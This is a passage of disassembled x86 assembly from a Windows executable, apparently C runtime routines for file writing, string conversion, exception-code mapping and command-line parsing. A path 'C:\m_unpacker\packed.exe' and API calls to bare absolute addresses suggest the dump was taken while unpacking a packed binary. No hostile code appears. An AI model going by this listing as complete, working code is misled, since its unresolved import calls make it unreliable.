		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DD040h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_4230E8
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_4230AF
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_42309A:				; CODE XREF: sub_422FA3+104j
		cmp	eax, ecx
		jnb	short loc_4230A9
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4230A6
		inc	[ebp+arg_0]


loc_4230A6:				; CODE XREF: sub_422FA3+FEj
		inc	eax
		jmp	short loc_42309A
; ---------------------------------------------------------------------------


loc_4230A9:				; CODE XREF: sub_422FA3+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_4230E3
; ---------------------------------------------------------------------------


loc_4230AF:				; CODE XREF: sub_422FA3+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_422F09
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_4230D6
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_4230D6
		test	ch, 4
		jz	short loc_4230D9


loc_4230D6:				; CODE XREF: sub_422FA3+124j
					; sub_422FA3+12Cj
		mov	eax, [edi+18h]


loc_4230D9:				; CODE XREF: sub_422FA3+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_4230E3:				; CODE XREF: sub_422FA3+10Aj
		jz	short loc_4230E8
		inc	[ebp+arg_0]


loc_4230E8:				; CODE XREF: sub_422FA3+D9j
					; sub_422FA3:loc_4230E3j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_4230EE:				; CODE XREF: sub_422FA3+A4j
					; sub_422FA3+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_4230F6:				; CODE XREF: sub_422FA3+3Cj
					; sub_422FA3+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422FA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4230FB	proc near		; CODE XREF: sub_41DB54+A2p
					; sub_41E42B+2Cp ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_4DD140
		push	esi
		push	edi
		jnb	loc_42328F
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DD040h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_42328F
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_42314C


loc_423145:				; CODE XREF: sub_4230FB+177j
		xor	eax, eax
		jmp	loc_4232A3
; ---------------------------------------------------------------------------


loc_42314C:				; CODE XREF: sub_4230FB+48j
		test	al, 20h
		jz	short loc_42315C
		push	2
		push	edi
		push	ecx
		call	sub_422F09
		add	esp, 0Ch


loc_42315C:				; CODE XREF: sub_4230FB+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_42322B
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_423263


loc_42317C:				; CODE XREF: sub_4230FB+F5j
		lea	eax, [ebp+var_414]


loc_423182:				; CODE XREF: sub_4230FB+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4231B6
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_4231A1
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_4231A1:				; CODE XREF: sub_4230FB+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_423182


loc_4231B6:				; CODE XREF: sub_4230FB+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	near ptr 2720000h
		nop
		test	eax, eax
		jz	short loc_423220
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_4231F2
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_42317C


loc_4231F2:				; CODE XREF: sub_4230FB+EAj
					; sub_4230FB+12Ej
		xor	edi, edi


loc_4231F4:				; CODE XREF: sub_4230FB+150j
					; sub_4230FB+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_42328A
		cmp	[ebp+arg_0], edi
		jz	short loc_423263
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_423258
		mov	dword_4DBDDC, 9
		mov	dword_4DBDE0, eax
		jmp	loc_4232A0
; ---------------------------------------------------------------------------


loc_423220:				; CODE XREF: sub_4230FB+E0j
		call	near ptr 2690C56h
		nop
		mov	[ebp+arg_0], eax
		jmp	short loc_4231F2
; ---------------------------------------------------------------------------


loc_42322B:				; CODE XREF: sub_4230FB+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		nop
		call	near ptr 2720000h
		test	eax, eax
		jz	short loc_42324D
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_4231F4
; ---------------------------------------------------------------------------


loc_42324D:				; CODE XREF: sub_4230FB+145j
		nop
		call	near ptr 2690C56h
		mov	[ebp+arg_0], eax
		jmp	short loc_4231F4
; ---------------------------------------------------------------------------


loc_423258:				; CODE XREF: sub_4230FB+10Fj
		push	[ebp+arg_0]
		call	sub_420C7F
		pop	ecx
		jmp	short loc_4232A0
; ---------------------------------------------------------------------------


loc_423263:				; CODE XREF: sub_4230FB+7Bj
					; sub_4230FB+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_423278
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_423145


loc_423278:				; CODE XREF: sub_4230FB+16Fj
		mov	dword_4DBDDC, 1Ch
		mov	dword_4DBDE0, edi
		jmp	short loc_4232A0
; ---------------------------------------------------------------------------


loc_42328A:				; CODE XREF: sub_4230FB+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_4232A3
; ---------------------------------------------------------------------------


loc_42328F:				; CODE XREF: sub_4230FB+15j
					; sub_4230FB+37j
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 9


loc_4232A0:				; CODE XREF: sub_4230FB+120j
					; sub_4230FB+166j ...
		or	eax, 0FFFFFFFFh


loc_4232A3:				; CODE XREF: sub_4230FB+4Cj
					; sub_4230FB+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4230FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4232A8	proc near		; CODE XREF: sub_41DE4A+47p
					; sub_41DE4A+74p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427928
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_4DBE78, edi
		jnz	short loc_42331E
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427920
		mov	esi, 100h
		push	esi
		push	edi
		nop
		call	near ptr 2640000h
		test	eax, eax
		jz	short loc_4232FC
		mov	dword_4DBE78, ebx
		jmp	short loc_42331E
; ---------------------------------------------------------------------------


loc_4232FC:				; CODE XREF: sub_4232A8+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset word_4CB88C
		push	esi
		push	edi
		nop
		call	near ptr 2650000h
		test	eax, eax
		jz	loc_423436
		mov	dword_4DBE78, 2


loc_42331E:				; CODE XREF: sub_4232A8+2Ej
					; sub_4232A8+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_423333
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_4234CC
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_423333:				; CODE XREF: sub_4232A8+79j
		mov	eax, dword_4DBE78
		cmp	eax, 2
		jnz	short loc_42335A
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2650000h
		jmp	loc_423438
; ---------------------------------------------------------------------------


loc_42335A:				; CODE XREF: sub_4232A8+93j
		cmp	eax, 1
		jnz	loc_423436
		cmp	[ebp+arg_18], edi
		jnz	short loc_423370
		mov	eax, dword_4DBE94
		mov	[ebp+arg_18], eax


loc_423370:				; CODE XREF: sub_4232A8+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		nop
		call	near ptr 2700000h
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_423436
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4233CB
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]


loc_4233CB:				; CODE XREF: sub_4232A8+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_423436
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2700000h
		test	eax, eax
		jz	short loc_423436
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_423436
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_42344A
		cmp	[ebp+arg_14], edi
		jz	loc_4234C5
		cmp	esi, [ebp+arg_14]
		jg	short loc_423436
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		test	eax, eax
		jnz	loc_4234C5


loc_423436:				; CODE XREF: sub_4232A8+66j
					; sub_4232A8+B5j ...
		xor	eax, eax


loc_423438:				; CODE XREF: sub_4232A8+ADj
					; sub_4232A8+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_42344A:				; CODE XREF: sub_4232A8+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42347E
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_42347E:				; CODE XREF: sub_4232A8+1C2j
		cmp	ebx, edi
		jz	short loc_423436
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2640000h
		nop
		test	eax, eax
		jz	short loc_423436
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_4234A5
		push	edi
		push	edi
		jmp	short loc_4234AB
; ---------------------------------------------------------------------------


loc_4234A5:				; CODE XREF: sub_4232A8+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_4234AB:				; CODE XREF: sub_4232A8+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 28510E6h
		mov	esi, eax
		cmp	esi, edi
		jz	loc_423436


loc_4234C5:				; CODE XREF: sub_4232A8+165j
					; sub_4232A8+188j
		mov	eax, esi
		jmp	loc_423438
sub_4232A8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4234CC	proc near		; CODE XREF: sub_4232A8+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_4234E9


loc_4234DC:				; CODE XREF: sub_4234CC+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_4234E9
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_4234DC


loc_4234E9:				; CODE XREF: sub_4234CC+Ej
					; sub_4234CC+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_4234F4
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_4234F4:				; CODE XREF: sub_4234CC+21j
		mov	eax, edx
		retn
sub_4234CC	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_423638
		test	eax, eax
		pop	ecx
		jz	loc_42362C
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_42362C
		cmp	ebx, 5
		jnz	short loc_423528
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_423635
; ---------------------------------------------------------------------------


loc_423528:				; CODE XREF: ___:0042351Aj
		cmp	ebx, 1
		jz	loc_423627
		mov	ecx, dword_4DBE9C
		mov	[ebp+8], ecx
		mov	ecx, [ebp+0Ch]
		mov	dword_4DBE9C, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_423617
		mov	ecx, dword_43D4C0
		mov	edx, dword_43D4C4
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_423577
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:43D450h[esi*4]


loc_42356E:				; CODE XREF: ___:00423575j
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_42356E


loc_423577:				; CODE XREF: ___:00423560j
		mov	eax, [eax]
		mov	esi, dword_43D4CC
		cmp	eax, 0C000008Eh
		jnz	short loc_423592
		mov	dword_43D4CC, 83h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_423592:				; CODE XREF: ___:00423584j
		cmp	eax, 0C0000090h
		jnz	short loc_4235A5
		mov	dword_43D4CC, 81h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_4235A5:				; CODE XREF: ___:00423597j
		cmp	eax, 0C0000091h
		jnz	short loc_4235B8
		mov	dword_43D4CC, 84h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_4235B8:				; CODE XREF: ___:004235AAj
		cmp	eax, 0C0000093h
		jnz	short loc_4235CB
		mov	dword_43D4CC, 85h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_4235CB:				; CODE XREF: ___:004235BDj
		cmp	eax, 0C000008Dh
		jnz	short loc_4235DE
		mov	dword_43D4CC, 82h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_4235DE:				; CODE XREF: ___:004235D0j
		cmp	eax, 0C000008Fh
		jnz	short loc_4235F1
		mov	dword_43D4CC, 86h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_4235F1:				; CODE XREF: ___:004235E3j
		cmp	eax, 0C0000092h
		jnz	short loc_423602
		mov	dword_43D4CC, 8Ah


loc_423602:				; CODE XREF: ___:00423590j
					; ___:004235A3j ...
		push	dword_43D4CC
		push	8
		call	ebx
		pop	ecx
		mov	dword_43D4CC, esi
		pop	ecx
		pop	esi
		jmp	short loc_42361F
; ---------------------------------------------------------------------------


loc_423617:				; CODE XREF: ___:00423549j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_42361F:				; CODE XREF: ___:00423615j
		mov	eax, [ebp+8]
		mov	dword_4DBE9C, eax


loc_423627:				; CODE XREF: ___:0042352Bj
		or	eax, 0FFFFFFFFh
		jmp	short loc_423635
; ---------------------------------------------------------------------------


loc_42362C:				; CODE XREF: ___:00423506j
					; ___:00423511j
		push	dword ptr [ebp+0Ch]
		nop
		call	near ptr 2630000h


loc_423635:				; CODE XREF: ___:00423523j
					; ___:0042362Aj
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_423638	proc near		; CODE XREF: ___:004234FEp

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43D4C8
		cmp	dword_43D448, edx
		push	esi
		mov	eax, offset dword_43D448
		jz	short loc_423665
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43D448h[esi*4]


loc_42365A:				; CODE XREF: sub_423638+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_423665
		cmp	[eax], edx
		jnz	short loc_42365A


loc_423665:				; CODE XREF: sub_423638+16j
					; sub_423638+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43D448h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_423678
		cmp	[eax], edx
		jz	short locret_42367A


loc_423678:				; CODE XREF: sub_423638+3Aj
		xor	eax, eax

locret_42367A:				; CODE XREF: sub_423638+3Ej
		retn
sub_423638	endp

; ---------------------------------------------------------------------------
		cmp	dword_4DD394, 0
		jnz	short loc_423689
		call	sub_420B0D


loc_423689:				; CODE XREF: ___:00423682j
		push	esi
		mov	esi, dword_4DD38C
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_4236BB


loc_423696:				; CODE XREF: ___:004236AEj
					; ___:004236B1j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_4236B3
		test	al, al
		jz	short loc_4236B3
		movzx	eax, al
		push	eax
		call	sub_424FE7
		test	eax, eax
		pop	ecx
		jz	short loc_423696
		inc	esi
		jmp	short loc_423696
; ---------------------------------------------------------------------------


loc_4236B3:				; CODE XREF: ___:0042369Cj
					; ___:004236A0j
		cmp	byte ptr [esi],	22h
		jnz	short loc_4236C5


loc_4236B8:				; CODE XREF: ___:004236CDj
		inc	esi
		jmp	short loc_4236C5
; ---------------------------------------------------------------------------


loc_4236BB:				; CODE XREF: ___:00423694j
		cmp	al, 20h
		jbe	short loc_4236C5


loc_4236BF:				; CODE XREF: ___:004236C3j
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_4236BF


loc_4236C5:				; CODE XREF: ___:004236B6j
					; ___:004236B9j ...
		mov	al, [esi]
		test	al, al
		jz	short loc_4236CF
		cmp	al, 20h
		jbe	short loc_4236B8


loc_4236CF:				; CODE XREF: ___:004236C9j
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DD394, ebx
		push	esi
		push	edi
		jnz	short loc_4236E5
		call	sub_420B0D


loc_4236E5:				; CODE XREF: ___:004236DEj
		mov	esi, dword_4DBE34
		xor	edi, edi


loc_4236ED:				; CODE XREF: ___:00423703j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_423705
		cmp	al, 3Dh
		jz	short loc_4236F8
		inc	edi


loc_4236F8:				; CODE XREF: ___:004236F5j
		push	esi
		call	sub_41B9C0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_4236ED
; ---------------------------------------------------------------------------


loc_423705:				; CODE XREF: ___:004236F1j
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_4DBE04, esi
		jnz	short loc_423727
		push	9
		call	sub_41E2C9
		pop	ecx


loc_423727:				; CODE XREF: ___:0042371Dj
		mov	edi, dword_4DBE34
		cmp	[edi], bl
		jz	short loc_42376A
		push	ebp


loc_423732:				; CODE XREF: ___:00423767j
		push	edi
		call	sub_41B9C0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_423763
		push	ebp
		call	sub_41BEB5
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_423756
		push	9
		call	sub_41E2C9
		pop	ecx


loc_423756:				; CODE XREF: ___:0042374Cj
		push	edi
		push	dword ptr [esi]
		call	sub_41C890
		pop	ecx
		add	esi, 4
		pop	ecx


loc_423763:				; CODE XREF: ___:0042373Fj
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_423732
		pop	ebp


loc_42376A:				; CODE XREF: ___:0042372Fj
		push	dword_4DBE34
		call	sub_41BA91
		pop	ecx
		mov	dword_4DBE34, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_4DD390, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DD394, ebx
		push	esi
		push	edi
		jnz	short loc_4237A3
		call	sub_420B0D


loc_4237A3:				; CODE XREF: ___:0042379Cj
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		nop
		call	near ptr 268050Ah
		mov	eax, dword_4DD38C
		mov	off_4DBE14, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_4237C8
		mov	edi, eax


loc_4237C8:				; CODE XREF: ___:004237C4j
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_423825
		mov	eax, [ebp-8]
		mov	ecx, [ebp-4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_41BEB5
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_4237F8
		push	8
		call	sub_41E2C9
		pop	ecx


loc_4237F8:				; CODE XREF: ___:004237EEj
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		mov	eax, [ebp-4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_423825
		mov	eax, [ebp-4]
		add	esp, 14h
		dec	eax
		mov	dword_4DBDFC, esi
		pop	edi
		pop	esi
		mov	dword_4DBDF8, eax
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423825	proc near		; CODE XREF: ___:004237D3p
					; ___:00423809p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_42384F
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_42384F:				; CODE XREF: sub_423825+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_423898


loc_423854:				; CODE XREF: sub_423825+58j
					; sub_423825+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_423886
		test	dl, dl
		jz	short loc_423886
		movzx	edx, dl
		test	byte_4DD261[edx], 4
		jz	short loc_423879
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423879
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_423879:				; CODE XREF: sub_423825+46j
					; sub_423825+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423854
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_423854
; ---------------------------------------------------------------------------


loc_423886:				; CODE XREF: sub_423825+36j
					; sub_423825+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423890
		and	byte ptr [esi],	0
		inc	esi


loc_423890:				; CODE XREF: sub_423825+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_4238DB
		inc	eax
		jmp	short loc_4238DB
; ---------------------------------------------------------------------------


loc_423898:				; CODE XREF: sub_423825+2Dj
					; sub_423825+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4238A3
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_4238A3:				; CODE XREF: sub_423825+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_4DD261[ebx], 4
		jz	short loc_4238BE
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4238BD
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_4238BD:				; CODE XREF: sub_423825+91j
		inc	eax


loc_4238BE:				; CODE XREF: sub_423825+8Bj
		cmp	dl, 20h
		jz	short loc_4238CC
		test	dl, dl
		jz	short loc_4238D0
		cmp	dl, 9
		jnz	short loc_423898


loc_4238CC:				; CODE XREF: sub_423825+9Cj
		test	dl, dl
		jnz	short loc_4238D3


loc_4238D0:				; CODE XREF: sub_423825+A0j
		dec	eax
		jmp	short loc_4238DB
; ---------------------------------------------------------------------------


loc_4238D3:				; CODE XREF: sub_423825+A9j
		test	esi, esi
		jz	short loc_4238DB
		and	byte ptr [esi-1], 0


loc_4238DB:				; CODE XREF: sub_423825+6Ej
					; sub_423825+71j ...
		and	[ebp+arg_10], 0


loc_4238DF:				; CODE XREF: sub_423825+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_4239C8


loc_4238E8:				; CODE XREF: sub_423825+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_4238F4
		cmp	dl, 9
		jnz	short loc_4238F7


loc_4238F4:				; CODE XREF: sub_423825+C8j
		inc	eax
		jmp	short loc_4238E8
; ---------------------------------------------------------------------------


loc_4238F7:				; CODE XREF: sub_423825+CDj
		cmp	byte ptr [eax],	0
		jz	loc_4239C8
		test	edi, edi
		jz	short loc_42390C
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_42390C:				; CODE XREF: sub_423825+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_423911:				; CODE XREF: sub_423825+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_42391A:				; CODE XREF: sub_423825+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_423923
		inc	eax
		inc	ebx
		jmp	short loc_42391A
; ---------------------------------------------------------------------------


loc_423923:				; CODE XREF: sub_423825+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_423954
		test	bl, 1
		jnz	short loc_423952
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_423941
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_423941
		mov	eax, edx
		jmp	short loc_423944
; ---------------------------------------------------------------------------


loc_423941:				; CODE XREF: sub_423825+10Dj
					; sub_423825+116j
		mov	[ebp+arg_0], edi


loc_423944:				; CODE XREF: sub_423825+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_423952:				; CODE XREF: sub_423825+106j
		shr	ebx, 1


loc_423954:				; CODE XREF: sub_423825+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_423969
		inc	ebx


loc_42395C:				; CODE XREF: sub_423825+142j
		test	esi, esi
		jz	short loc_423964
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_423964:				; CODE XREF: sub_423825+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_42395C


loc_423969:				; CODE XREF: sub_423825+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_4239B9
		cmp	[ebp+arg_10], 0
		jnz	short loc_42397F
		cmp	dl, 20h
		jz	short loc_4239B9
		cmp	dl, 9
